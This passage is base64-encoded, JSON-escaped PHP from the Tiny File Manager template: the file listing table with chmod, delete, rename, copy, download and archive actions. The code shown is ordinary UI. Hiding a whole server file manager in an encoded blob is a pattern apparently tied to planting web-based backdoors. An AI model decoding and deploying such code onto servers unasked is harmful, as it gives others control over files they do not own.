ycgLiAkZiwgJ1wvJykpID8+XCI+PGkgY2xhc3M9XCI8P3BocCBlY2hvICRpbWcgPz5cIj48XC9pPiA8P3BocCBlY2hvIGZtX2NvbnZlcnRfd2luKGZtX2VuYygkZikpID8+PFwvYT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvICgkaXNfbGluayA/ICcgJnJhcnI7IDxpPicgLiByZWFkbGluaygkcGF0aCAuICdcLycgLiAkZikgLiAnPFwvaT4nIDogJycpID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8dGQgZGF0YS1vcmRlcj1cImEtPD9waHAgZWNobyBzdHJfcGFkKCRmaWxlc2l6ZV9yYXcsIDE4LCBcIjBcIiwgU1RSX1BBRF9MRUZUKTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gJGZpbGVzaXplOyA/PlxuICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGRhdGEtb3JkZXI9XCJhLTw/cGhwIGVjaG8gJGRhdGVfc29ydGluZzsgPz5cIj48P3BocCBlY2hvICRtb2RpZiA/PjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX0lTX1dJTiAmJiAhJGhpZGVfQ29scyk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+PGEgdGl0bGU9XCJDaGFuZ2UgUGVybWlzc2lvbnNcIiBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2NobW9kPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PlwiPjw/cGhwIGVjaG8gJHBlcm1zID8+PFwvYT48P3BocCBlbHNlOiA/Pjw/cGhwIGVjaG8gJHBlcm1zID8+PD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvICRvd25lclsnbmFtZSddIC4gJzonIC4gJGdyb3VwWyduYW1lJ10gPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiaW5saW5lLWFjdGlvbnNcIj48P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdEZWxldGUnKSA/PlwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7ZGVsPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PlwiIG9uY2xpY2s9XCJjb25maXJtRGFpbG9nKGV2ZW50LCAnMTAyOCcsJzw/cGhwIGVjaG8gbG5nKCdEZWxldGUnKSAuICcgJyAuIGxuZygnRm9sZGVyJyk7ID8+JywnPD9waHAgZWNobyB1cmxlbmNvZGUoJGYpID8+JywgdGhpcy5ocmVmKTtcIj4gPGkgY2xhc3M9XCJmYSBmYS10cmFzaC1vXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1JlbmFtZScpID8+XCIgaHJlZj1cIiNcIiBvbmNsaWNrPVwicmVuYW1lKCc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKEZNX1BBVEgpKSA/PicsICc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKCRmKSkgPz4nKTtyZXR1cm4gZmFsc2U7XCI+PGkgY2xhc3M9XCJmYSBmYS1wZW5jaWwtc3F1YXJlLW9cIiBhcmlhLWhpZGRlbj1cInRydWVcIj48XC9pPjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnQ29weVRvJykgPz4uLi5cIiBocmVmPVwiP3A9JmFtcDtjb3B5PTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCAuICdcLycgLiAkZiwgJ1wvJykpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS1maWxlcy1vXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdEaXJlY3RMaW5rJykgPz5cIiBocmVmPVwiPD9waHAgZWNobyBmbV9lbmMoRk1fUk9PVF9VUkwgLiAoRk1fUEFUSCAhPSAnJyA/ICdcLycgLiBGTV9QQVRIIDogJycpIC4gJ1wvJyAuICRmIC4gJ1wvJykgPz5cIiB0YXJnZXQ9XCJfYmxhbmtcIj48aSBjbGFzcz1cImZhIGZhLWxpbmtcIiBhcmlhLWhpZGRlbj1cInRydWVcIj48XC9pPjxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxcL3RkPlxuICAgICAgICAgICAgICAgIDxcL3RyPlxuICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgICAgICBmbHVzaCgpO1xuICAgICAgICAgICAgICAgICRpaSsrO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgJGlrID0gODAwMjtcbiAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikge1xuICAgICAgICAgICAgICAgICRpc19saW5rID0gaXNfbGluaygkcGF0aCAuICdcLycgLiAkZik7XG4gICAgICAgICAgICAgICAgJGltZyA9ICRpc19saW5rID8gJ2ZhIGZhLWZpbGUtdGV4dC1vJyA6IGZtX2dldF9maWxlX2ljb25fY2xhc3MoJHBhdGggLiAnXC8nIC4gJGYpO1xuICAgICAgICAgICAgICAgICRtb2RpZl9yYXcgPSBmaWxlbXRpbWUoJHBhdGggLiAnXC8nIC4gJGYpO1xuICAgICAgICAgICAgICAgICRtb2RpZiA9IGRhdGUoRk1fREFURVRJTUVfRk9STUFULCAkbW9kaWZfcmF3KTtcbiAgICAgICAgICAgICAgICAkZGF0ZV9zb3J0aW5nID0gc3RydG90aW1lKGRhdGUoXCJGIGQgWSBIOmk6cy5cIiwgJG1vZGlmX3JhdykpO1xuICAgICAgICAgICAgICAgICRmaWxlc2l6ZV9yYXcgPSBmbV9nZXRfc2l6ZSgkcGF0aCAuICdcLycgLiAkZik7XG4gICAgICAgICAgICAgICAgJGZpbGVzaXplID0gZm1fZ2V0X2ZpbGVzaXplKCRmaWxlc2l6ZV9yYXcpO1xuICAgICAgICAgICAgICAgICRmaWxlbGluayA9ICc/cD0nIC4gdXJsZW5jb2RlKEZNX1BBVEgpIC4gJyZhbXA7dmlldz0nIC4gdXJsZW5jb2RlKCRmKTtcbiAgICAgICAgICAgICAgICAkYWxsX2ZpbGVzX3NpemUgKz0gJGZpbGVzaXplX3JhdztcbiAgICAgICAgICAgICAgICAkcGVybXMgPSBzdWJzdHIoZGVjb2N0KGZpbGVwZXJtcygkcGF0aCAuICdcLycgLiAkZikpLCAtNCk7XG4gICAgICAgICAgICAgICAgJG93bmVyID0gYXJyYXkoJ25hbWUnID0+ICc/Jyk7IFxuICAgICAgICAgICAgICAgICRncm91cCA9IGFycmF5KCduYW1lJyA9PiAnPycpO1xuICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRncmdpZCcpKSB7XG4gICAgICAgICAgICAgICAgICAgIHRyeSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkb3duZXJfaWQgPSBmaWxlb3duZXIoJHBhdGggLiAnXC8nIC4gJGYpO1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRvd25lcl9pZCAhPSAwKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJG93bmVyX2luZm8gPSBwb3NpeF9nZXRwd3VpZCgkb3duZXJfaWQpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkb3duZXJfaW5mbykge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb3duZXIgPSAgJG93bmVyX2luZm87XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgJGdyb3VwX2lkID0gZmlsZWdyb3VwKCRwYXRoIC4gJ1wvJyAuICRmKTtcbiAgICAgICAgICAgICAgICAgICAgICAgICRncm91cF9pbmZvID0gcG9zaXhfZ2V0Z3JnaWQoJGdyb3VwX2lkKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZ3JvdXBfaW5mbykge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICRncm91cCA9ICAkZ3JvdXBfaW5mbztcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBlcnJvcl9sb2coXCJleGNlcHRpb246XCIgLiAkZS0+Z2V0TWVzc2FnZSgpKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgID8+XG4gICAgICAgICAgICAgICAgPHRyPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz1cImN1c3RvbS1jaGVja2JveC10ZFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjdXN0b20tY29udHJvbCBjdXN0b20tY2hlY2tib3hcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtaW5wdXRcIiBpZD1cIjw/cGhwIGVjaG8gJGlrID8+XCIgbmFtZT1cImZpbGVbXVwiIHZhbHVlPVwiPD9waHAgZWNobyBmbV9lbmMoJGYpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz1cImN1c3RvbS1jb250cm9sLWxhYmVsXCIgZm9yPVwiPD9waHAgZWNobyAkaWsgPz5cIj48XC9sYWJlbD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90ZD48P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGRhdGEtc29ydD08P3BocCBlY2hvIGZtX2VuYygkZikgPz4+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZmlsZW5hbWVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpbl9hcnJheShzdHJ0b2xvd2VyKHBhdGhpbmZvKCRmLCBQQVRISU5GT19FWFRFTlNJT04pKSwgYXJyYXkoJ2dpZicsICdqcGcnLCAnanBlZycsICdwbmcnLCAnYm1wJywgJ2ljbycsICdzdmcnLCAnd2VicCcsICdhdmlmJykpKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgJGltYWdlUHJldmlldyA9IGZtX2VuYyhGTV9ST09UX1VSTCAuIChGTV9QQVRIICE9ICcnID8gJ1wvJyAuIEZNX1BBVEggOiAnJykgLiAnXC8nIC4gJGYpOyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiPD9waHAgZWNobyAkZmlsZWxpbmsgPz5cIiBkYXRhLXByZXZpZXctaW1hZ2U9XCI8P3BocCBlY2hvICRpbWFnZVByZXZpZXcgPz5cIiB0aXRsZT1cIjw/cGhwIGVjaG8gZm1fZW5jKCRmKSA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbHNlOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj1cIjw/cGhwIGVjaG8gJGZpbGVsaW5rID8+XCIgdGl0bGU9XCI8P3BocCBlY2hvICRmID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPVwiPD9waHAgZWNobyAkaW1nID8+XCI+PFwvaT4gPD9waHAgZWNobyBmbV9jb252ZXJ0X3dpbihmbV9lbmMoJGYpKSA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvYT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gKCRpc19saW5rID8gJyAmcmFycjsgPGk+JyAuIHJlYWRsaW5rKCRwYXRoIC4gJ1wvJyAuICRmKSAuICc8XC9pPicgOiAnJykgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgPFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgIDx0ZCBkYXRhLW9yZGVyPVwiYi08P3BocCBlY2hvIHN0cl9wYWQoJGZpbGVzaXplX3JhdywgMTgsIFwiMFwiLCBTVFJfUEFEX0xFRlQpOyA/PlwiPjxzcGFuIHRpdGxlPVwiPD9waHAgcHJpbnRmKCclcyBieXRlcycsICRmaWxlc2l6ZV9yYXcpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyAkZmlsZXNpemU7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9zcGFuPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8dGQgZGF0YS1vcmRlcj1cImItPD9waHAgZWNobyAkZGF0ZV9zb3J0aW5nOyA/PlwiPjw/cGhwIGVjaG8gJG1vZGlmID8+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz48YSB0aXRsZT1cIjw/cGhwIGVjaG8gJ0NoYW5nZSBQZXJtaXNzaW9ucycgPz5cIiBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2NobW9kPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PlwiPjw/cGhwIGVjaG8gJHBlcm1zID8+PFwvYT48P3BocCBlbHNlOiA/Pjw/cGhwIGVjaG8gJHBlcm1zID8+PD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48P3BocCBlY2hvIGZtX2VuYygkb3duZXJbJ25hbWUnXSAuICc6JyAuICRncm91cFsnbmFtZSddKSA/PjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiaW5saW5lLWFjdGlvbnNcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ0RlbGV0ZScpID8+XCIgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmFtcDtkZWw9PD9waHAgZWNobyB1cmxlbmNvZGUoJGYpID8+XCIgb25jbGljaz1cImNvbmZpcm1EYWlsb2coZXZlbnQsIDEyMDksICc8P3BocCBlY2hvIGxuZygnRGVsZXRlJykgLiAnICcgLiBsbmcoJ0ZpbGUnKTsgPz4nLCc8P3BocCBlY2hvIHVybGVuY29kZSgkZik7ID8+JywgdGhpcy5ocmVmKTtcIj4gPGkgY2xhc3M9XCJmYSBmYS10cmFzaC1vXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1JlbmFtZScpID8+XCIgaHJlZj1cIiNcIiBvbmNsaWNrPVwicmVuYW1lKCc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKEZNX1BBVEgpKSA/PicsICc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKCRmKSkgPz4nKTtyZXR1cm4gZmFsc2U7XCI+PGkgY2xhc3M9XCJmYSBmYS1wZW5jaWwtc3F1YXJlLW9cIj48XC9pPjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnQ29weVRvJykgPz4uLi5cIlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2NvcHk9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIIC4gJ1wvJyAuICRmLCAnXC8nKSkgPz5cIj48aSBjbGFzcz1cImZhIGZhLWZpbGVzLW9cIj48XC9pPjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ0RpcmVjdExpbmsnKSA/PlwiIGhyZWY9XCI8P3BocCBlY2hvIGZtX2VuYyhGTV9ST09UX1VSTCAuIChGTV9QQVRIICE9ICcnID8gJ1wvJyAuIEZNX1BBVEggOiAnJykgLiAnXC8nIC4gJGYpID8+XCIgdGFyZ2V0PVwiX2JsYW5rXCI+PGkgY2xhc3M9XCJmYSBmYS1saW5rXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnRG93bmxvYWQnKSA/PlwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7ZGw9PD9waHAgZWNobyB1cmxlbmNvZGUoJGYpID8+XCIgb25jbGljaz1cImNvbmZpcm1EYWlsb2coZXZlbnQsIDEyMTEsICc8P3BocCBlY2hvIGxuZygnRG93bmxvYWQnKTsgPz4nLCc8P3BocCBlY2hvIHVybGVuY29kZSgkZik7ID8+JywgdGhpcy5ocmVmKTtcIj48aSBjbGFzcz1cImZhIGZhLWRvd25sb2FkXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICA8XC90cj5cbiAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICAgICAgZmx1c2goKTtcbiAgICAgICAgICAgICAgICAkaWsrKztcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgaWYgKGVtcHR5KCRmb2xkZXJzKSAmJiBlbXB0eSgkZmlsZXMpKSB7ID8+XG4gICAgICAgICAgICAgICAgPHRmb290PlxuICAgICAgICAgICAgICAgICAgICA8dHI+PD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxcL3RkPjw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49XCI8P3BocCBlY2hvICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKSA/ICc2JyA6ICc0JyA/PlwiPjxlbT48P3BocCBlY2hvIGxuZygnRm9sZGVyIGlzIGVtcHR5JykgPz48XC9lbT48XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPFwvdHI+XG4gICAgICAgICAgICAgICAgPFwvdGZvb3Q+XG4gICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgfSBlbHNlIHsgPz5cbiAgICAgICAgICAgICAgICA8dGZvb3Q+XG4gICAgICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz1cImdyYXkgZnMtN1wiIGNvbHNwYW49XCI8P3BocCBlY2hvICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKSA/IChGTV9SRUFET05MWSA/ICc2JyA6ICc3JykgOiAoRk1fUkVBRE9OTFkgPyAnNCcgOiAnNScpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBsbmcoJ0Z1bGxTaXplJykgLiAnOiA8c3BhbiBjbGFzcz1cImJhZGdlIHRleHQtYmctbGlnaHQgYm9yZGVyLXJhZGl1cy0wXCI+JyAuIGZtX2dldF9maWxlc2l6ZSgkYWxsX2ZpbGVzX3NpemUpIC4gJzxcL3NwYW4+JyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gbG5nKCdGaWxlJykgLiAnOiA8c3BhbiBjbGFzcz1cImJhZGdlIHRleHQtYmctbGlnaHQgYm9yZGVyLXJhZGl1cy0wXCI+JyAuICRudW1fZmlsZXMgLiAnPFwvc3Bhbj4nID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBsbmcoJ0ZvbGRlcicpIC4gJzogPHNwYW4gY2xhc3M9XCJiYWRnZSB0ZXh0LWJnLWxpZ2h0IGJvcmRlci1yYWRpdXMtMFwiPicgLiAkbnVtX2ZvbGRlcnMgLiAnPFwvc3Bhbj4nID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPFwvdHI+XG4gICAgICAgICAgICAgICAgPFwvdGZvb3Q+XG4gICAgICAgICAgICA8P3BocCB9ID8+XG4gICAgICAgIDxcL3RhYmxlPlxuICAgIDxcL2Rpdj5cblxuICAgIDxkaXYgY2xhc3M9XCJyb3dcIj5cbiAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXhzLTEyIGNvbC1zbS05XCI+XG4gICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImJ0bi1ncm91cCBmbGV4LXdyYXBcIiBkYXRhLXRvZ2dsZT1cImJ1dHRvbnNcIiByb2xlPVwidG9vbGJhclwiPlxuICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiI1wvc2VsZWN0LWFsbFwiIGNsYXNzPVwiYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yXCIgb25jbGljaz1cInNlbGVjdF9hbGwoKTtyZXR1cm4gZmFsc2U7XCI+PGkgY2xhc3M9XCJmYSBmYS1jaGVjay1zcXVhcmVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnU2VsZWN0QWxsJykgPz4gPFwvYT5cbiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj1cIiNcL3Vuc2VsZWN0LWFsbFwiIGNsYXNzPVwiYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yXCIgb25jbGljaz1cInVuc2VsZWN0X2FsbCgpO3JldHVybiBmYWxzZTtcIj48aSBjbGFzcz1cImZhIGZhLXdpbmRvdy1jbG9zZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdVblNlbGVjdEFsbCcpID8+IDxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCIjXC9pbnZlcnQtYWxsXCIgY2xhc3M9XCJidG4gYnRuLXNtYWxsIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLTJcIiBvbmNsaWNrPVwiaW52ZXJ0X2FsbCgpO3JldHVybiBmYWxzZTtcIj48aSBjbGFzcz1cImZhIGZhLXRoLWxpc3RcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnSW52ZXJ0U2VsZWN0aW9uJykgPz4gPFwvYT5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImhpZGRlblwiIG5hbWU9XCJkZWxldGVcIiBpZD1cImEtZGVsZXRlXCIgdmFsdWU9XCJEZWxldGVcIiBvbmNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJzw/cGhwIGVjaG8gbG5nKCdEZWxldGUgc2VsZWN0ZWQgZmlsZXMgYW5kIGZvbGRlcnM/Jyk7ID8+JylcIj5cbiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj1cImphdmFzY3JpcHQ6ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2EtZGVsZXRlJykuY2xpY2soKTtcIiBjbGFzcz1cImJ0biBidG4tc21hbGwgYnRuLW91dGxpbmUtcHJpbWFyeSBidG4tMlwiPjxpIGNsYXNzPVwiZmEgZmEtdHJhc2hcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnRGVsZXRlJykgPz4gPFwvYT5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImhpZGRlblwiIG5hbWU9XCJ6aXBcIiBpZD1cImEtemlwXCIgdmFsdWU9XCJ6aXBcIiBvbmNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJzw/cGhwIGVjaG8gbG5nKCdDcmVhdGUgYXJjaGl2ZT8nKTsgPz4nKVwiPlxuICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiamF2YXNjcmlwdDpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYS16aXAnKS5jbGljaygpO1wiIGNsYXNzPVwiYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yXCI+PGkgY2xhc3M9XCJmYSBmYS1maWxlLWFyY2hpdmUtb1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdaaXAnKSA/PiA8XC9hPlxuICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiaGlkZGVuXCIgbmFtZT1cInRhclwiIGlkPVwiYS10YXJcIiB2YWx1ZT1cInRhclwiIG9uY2xpY2s9XCJyZXR1cm4gY29uZmlybSgnPD9waHAgZWNobyBsbmcoJ0NyZWF0ZSBhcmNoaXZlPycpOyA/PicpXCI+XG4gICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCJqYXZhc2NyaXB0OmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhLXRhcicpLmNsaWNrKCk7XCIgY2xhc3M9XCJidG4gYnRuLXNtYWxsIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLTJcIj48aSBjbGFzcz1cImZhIGZhLWZpbGUtYXJjaGl2ZS1vXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1RhcicpID8+IDxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJoaWRkZW5cIiBuYW1lPVwiY29weVwiIGlkPVwiYS1jb3B5XCIgdmFsdWU9XCJDb3B5XCI+XG4gICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCJqYXZhc2NyaXB0OmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhLWNvcHknKS5jbGljaygpO1wiIGNsYXNzPVwiYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yXCI+PGkgY2xhc3M9XCJmYSBmYS1maWxlcy1vXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NvcHknKSA/PiA8XC9hPlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtMyBkLW5vbmUgZC1zbS1ibG9ja1wiPjxhIGhyZWY9XCJodHRwczpcL1wvdGlueWZpbGVtYW5hZ2VyLmdpdGh1Yi5pb1wiIHRhcmdldD1cIl9ibGFua1wiIGNsYXNzPVwiZmxvYXQtcmlnaHQgdGV4dC1tdXRlZFwiPlRpbnkgRmlsZSBNYW5hZ2VyIDw/cGhwIGVjaG8gVkVSU0lPTjsgPz48XC9hPjxcL2Rpdj5cbiAgICAgICAgPD9waHAgZWxzZTogPz5cbiAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtMTJcIj48YSBocmVmPVwiaHR0cHM6XC9cL3RpbnlmaWxlbWFuYWdlci5naXRodWIuaW9cIiB0YXJnZXQ9XCJfYmxhbmtcIiBjbGFzcz1cImZsb2F0LXJpZ2h0IHRleHQtbXV0ZWRcIj5UaW55IEZpbGUgTWFuYWdlciA8P3BocCBlY2hvIFZFUlNJT047ID8+PFwvYT48XC9kaXY+XG4